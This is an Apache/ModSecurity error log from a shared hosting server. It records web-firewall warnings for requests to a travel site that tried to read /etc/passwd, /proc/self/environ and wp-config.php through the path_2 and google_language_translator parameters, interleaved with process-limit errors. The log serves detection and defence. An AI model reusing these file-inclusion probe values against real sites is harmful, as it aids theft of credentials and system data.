[Fri Jul 17 08:55:57.735684 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmOQAAAAg"]
[Fri Jul 17 08:55:57.735829 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.736108 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxcWFJ5vQjUlAF6-UawAAAAs"]
[Fri Jul 17 08:55:57.736190 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxXRlmrtCoY_COpcmOQAAAAg"]
[Fri Jul 17 08:55:57.736213 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.738793 2026] [security2:error] [pid 2031210:tid 2031210] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxcWFJ5vQjUlAF6-UawAAAAs"]
[Fri Jul 17 08:55:57.741479 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:path_2: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlxwAAAA0"]
[Fri Jul 17 08:55:57.741617 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:path_2: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlxwAAAA0"]
[Fri Jul 17 08:55:57.742194 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlxwAAAA0"]
[Fri Jul 17 08:55:57.742324 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.742524 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:path_2: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlKAAAAAI"]
[Fri Jul 17 08:55:57.742592 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwlxwAAAA0"]
[Fri Jul 17 08:55:57.742640 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:path_2: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlKAAAAAI"]
[Fri Jul 17 08:55:57.743208 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlKAAAAAI"]
[Fri Jul 17 08:55:57.743337 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.743767 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlKAAAAAI"]
[Fri Jul 17 08:55:57.755763 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path_2: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTCQAAAB4"]
[Fri Jul 17 08:55:57.755905 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:path_2: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTCQAAAB4"]
[Fri Jul 17 08:55:57.756534 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxVCBpfuYyhJ140vTCQAAAB4"]
[Fri Jul 17 08:55:57.756752 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.757235 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxVCBpfuYyhJ140vTCQAAAB4"]
[Fri Jul 17 08:55:57.760960 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path_2: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmOgAAAAg"]
[Fri Jul 17 08:55:57.761128 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:path_2: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmOgAAAAg"]
[Fri Jul 17 08:55:57.761924 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxXRlmrtCoY_COpcmOgAAAAg"]
[Fri Jul 17 08:55:57.762092 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.762436 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxXRlmrtCoY_COpcmOgAAAAg"]
[Fri Jul 17 08:55:57.792849 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.798068 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.250:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almgw0gVnBK6wAv37w6sqgAAABQ"]
[Fri Jul 17 08:55:57.800676 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.814240 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.818797 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.819123 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlKQAAAAI"]
[Fri Jul 17 08:55:57.819139 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlKQAAAAI"]
[Fri Jul 17 08:55:57.824826 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.828666 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.830594 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.835882 2026] [hostinglimits:warn] [pid 2031210:tid 2031210] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031210) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.840447 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:google_language_translator: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxUgVnBK6wAv37w6sqwAAABQ"]
[Fri Jul 17 08:55:57.840977 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxUgVnBK6wAv37w6sqwAAABQ"]
[Fri Jul 17 08:55:57.841102 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.841450 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxUgVnBK6wAv37w6sqwAAABQ"]
[Fri Jul 17 08:55:57.841490 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:google_language_translator: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlKgAAAAI"]
[Fri Jul 17 08:55:57.842123 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:google_language_translator: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlyQAAAA0"]
[Fri Jul 17 08:55:57.842269 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:google_language_translator. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:google_language_translator: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlyQAAAA0"]
[Fri Jul 17 08:55:57.842378 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlKgAAAAI"]
[Fri Jul 17 08:55:57.842497 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
